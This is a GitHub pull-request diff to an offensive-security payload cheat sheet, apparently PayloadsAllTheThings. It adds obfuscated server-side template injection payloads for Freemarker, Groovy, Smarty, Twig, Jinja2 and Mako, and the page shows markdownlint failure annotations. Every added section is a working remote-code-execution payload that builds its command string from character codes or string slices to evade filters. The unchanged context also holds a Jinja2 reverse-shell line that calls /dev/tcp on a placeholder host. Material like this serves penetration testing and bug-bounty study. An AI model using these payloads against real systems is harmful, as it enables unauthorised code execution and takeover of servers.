Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions Server Side Template Injection/Java.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
- [Freemarker - Basic Injection](#freemarker---basic-injection)
- [Freemarker - Read File](#freemarker---read-file)
- [Freemarker - Code Execution](#freemarker---code-execution)
- [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)
- [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)
- [Codepen](#codepen)
- [Jinjava](#jinjava)
Expand All @@ -27,6 +28,7 @@
- [Groovy - Read File](#groovy---read-file)
- [Groovy - HTTP Request:](#groovy---http-request)
- [Groovy - Command Execution](#groovy---command-execution)
- [Groovy - Command Execution with Obfuscation](#groovy---command-execution-with-obfuscation)
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
- [Spring Expression Language](#spring-expression-language)
- [SpEL - Basic Injection](#spel---basic-injection)
Expand Down Expand Up @@ -110,6 +112,20 @@
[="freemarker.template.utility.Execute"?new()("id")]
```

### Freemarker - Code Execution with Obfuscation

FreeMarker offers the built-in function: `lower_abc`. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as `chr` in Python, as the [documentation for lower_abc explains](https://freemarker.apache.org/docs/ref_builtins_number.html#ref_builtin_lower_abc):

If you wanted a string that represents the string: "id", you could use the payload: `${9?lower_abc+4?lower_abc)}`.


Check failure on line 121 in Server Side Template Injection/Java.md

View workflow job for this annotation

GitHub Actions / lint

Multiple consecutive blank lines

Server Side Template Injection/Java.md:121 MD012/no-multiple-blanks Multiple consecutive blank lines [Expected: 1; Actual: 2] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md012.md
Chaining `lower_abc` to perform code execution (command: `id`):
```js

Check failure on line 123 in Server Side Template Injection/Java.md

View workflow job for this annotation

GitHub Actions / lint

Fenced code blocks should be surrounded by blank lines

Server Side Template Injection/Java.md:123 MD031/blanks-around-fences Fenced code blocks should be surrounded by blank lines [Context: "```js"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md031.md
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

Check failure on line 127 in Server Side Template Injection/Java.md

View workflow job for this annotation

GitHub Actions / lint

Link text should be descriptive

Server Side Template Injection/Java.md:127:52 MD059/descriptive-link-text Link text should be descriptive [Context: "[here]"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md059.md

### Freemarker - Sandbox Bypass

:warning: only works on Freemarker versions below 2.3.30
Expand Down Expand Up @@ -293,6 +309,19 @@
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
```

### Groovy - Command Execution with Obfuscation

You can bypass security filters by constructing strings from ASCII codes and executing them as system commands.

Payload represent the string: `id`: `${((char)105).toString()+((char)100).toString()}`.

Execute system command (command: `id`):
```groovy

Check failure on line 319 in Server Side Template Injection/Java.md

View workflow job for this annotation

GitHub Actions / lint

Fenced code blocks should be surrounded by blank lines

Server Side Template Injection/Java.md:319 MD031/blanks-around-fences Fenced code blocks should be surrounded by blank lines [Context: "```groovy"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md031.md
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

Check failure on line 323 in Server Side Template Injection/Java.md

View workflow job for this annotation

GitHub Actions / lint

Link text should be descriptive

Server Side Template Injection/Java.md:323:52 MD059/descriptive-link-text Link text should be descriptive [Context: "[here]"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md059.md

### Groovy - Sandbox Bypass

```groovy
Expand Down Expand Up @@ -390,3 +419,4 @@
- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)

Check failure on line 422 in Server Side Template Injection/Java.md

View workflow job for this annotation

GitHub Actions / lint

Files should end with a single newline character

Server Side Template Injection/Java.md:422:227 MD047/single-trailing-newline Files should end with a single newline character https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md047.md
33 changes: 32 additions & 1 deletion Server Side Template Injection/PHP.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,15 @@
## Summary

- [Templating Libraries](#templating-libraries)
- [blade](#blade)
- [Smarty](#smarty)
- [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation)
- [Twig](#twig)
- [Twig - Basic Injection](#twig---basic-injection)
- [Twig - Template Format](#twig---template-format)
- [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
- [Twig - Code Execution](#twig---code-execution)
- [Twig - Code Execution with Obfuscation](#twig---code-execution-with-obfuscation)
- [Latte](#latte)
- [Latte - Basic Injection](#latte---basic-injection)
- [Latte - Code Execution](#latte---code-execution)
Expand Down Expand Up @@ -41,6 +44,8 @@
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

Check failure on line 47 in Server Side Template Injection/PHP.md

View workflow job for this annotation

GitHub Actions / lint

Link text should be descriptive

Server Side Template Injection/PHP.md:47:52 MD059/descriptive-link-text Link text should be descriptive [Context: "[here]"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md059.md

---

## Smarty
Expand All @@ -56,6 +61,17 @@
{system('cat index.php')} // compatible v3
```

### Smarty - Code Execution with Obfuscation

By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows: `{chr(105)|cat:chr(100)}`.

Execute system comman (command: `id`):
```php

Check failure on line 69 in Server Side Template Injection/PHP.md

View workflow job for this annotation

GitHub Actions / lint

Fenced code blocks should be surrounded by blank lines

Server Side Template Injection/PHP.md:69 MD031/blanks-around-fences Fenced code blocks should be surrounded by blank lines [Context: "```php"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md031.md
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

Check failure on line 73 in Server Side Template Injection/PHP.md

View workflow job for this annotation

GitHub Actions / lint

Link text should be descriptive

Server Side Template Injection/PHP.md:73:52 MD059/descriptive-link-text Link text should be descriptive [Context: "[here]"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md059.md

---

## Twig
Expand Down Expand Up @@ -124,6 +140,21 @@
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```

### Twig - Code Execution with Obfuscation

Twig's block feature and built-in `_charset` variable can be nesting can be used to produced the payload (command: `id`)

```twig
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
```

The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process:
```twig

Check failure on line 152 in Server Side Template Injection/PHP.md

View workflow job for this annotation

GitHub Actions / lint

Fenced code blocks should be surrounded by blank lines

Server Side Template Injection/PHP.md:152 MD031/blanks-around-fences Fenced code blocks should be surrounded by blank lines [Context: "```twig"] https://github.com/DavidAnson/markdownlint/blob/v0.38.0/doc/md031.md
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

---

## Latte
Expand Down Expand Up @@ -262,5 +293,5 @@

## References

- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere- YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
- [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)
31 changes: 30 additions & 1 deletion Server Side Template Injection/Python.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,12 +26,14 @@
- [Exploit The SSTI By Calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen)
- [Exploit The SSTI By Calling Popen Without Guessing The Offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)
- [Exploit The SSTI By Writing an Evil Config File](#exploit-the-ssti-by-writing-an-evil-config-file)
- [Jinja2 - Remote Command Execution with Obfuscation](#jinja2---remote-command-execution-with-obfuscation)
- [Jinja2 - Filter Bypass](#jinja2---filter-bypass)
- [Tornado](#tornado)
- [Tornado - Basic Injection](#tornado---basic-injection)
- [Tornado - Remote Command Execution](#tornado---remote-command-execution)
- [Mako](#mako)
- [Mako - Remote Command Execution](#mako---remote-command-execution)
- [Mako - Remote Command Execution with Obfuscation](#mako---remote-command-execution-with-obfuscation)
- [References](#references)

## Templating Libraries
Expand Down Expand Up @@ -260,6 +262,17 @@ Simple modification of the payload to clean up output and facilitate command inp
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```

### Jinja2 - Remote Command Execution with Obfuscation

Write the string: `id` using the index position of a known existing string (the index value may vary depending on the target): `{{self.__init__.__globals__.__str__()[1786:1788]}}`.

Execute the system command `id`:
```python
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

### Jinja2 - Filter Bypass

```python
Expand Down Expand Up @@ -400,10 +413,26 @@ PoC :
<module 'os' from '/usr/local/lib/python3.10/os.py'>
```

### Mako - Remote Command Execution with Obfuscation

In Mako, the following payload can be used to generates the string "id": `${str().join(chr(i)for(i)in[105,100])}`.

Execute the system command `id`:
```python
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
```

```python
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}
```

Reference and explanation of payload can be found [here](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).

## References

- [Cheatsheet - Flask & Jinja2 SSTI - phosphore - September 3, 2018](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
- [Exploring SSTI in Flask/Jinja2, Part II - Tim Tomes - March 11, 2016](https://web.archive.org/web/20170710015954/https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
- [Jinja2 template injection filter bypasses - Sebastian Neef - August 28, 2017](https://0day.work/jinja2-template-injection-filter-bypasses/)
- [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
- [The minefield between syntaxes: exploiting syntax confusions in the wild - YesWeHack - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits)
- [The minefield between syntaxes: exploiting syntax confusions in the wild - YesWeHack, Brumens - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits)
- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
1 change: 1 addition & 0 deletions Server Side Template Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -95,3 +95,4 @@ Once the template engine is identified, the attacker injects more complex expres
- [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
- [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- [Template Injection On Hardened Targets - Lucas 'BitK' Philippe - September 28, 2022](https://youtu.be/M0b_KA0OMFw)
- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)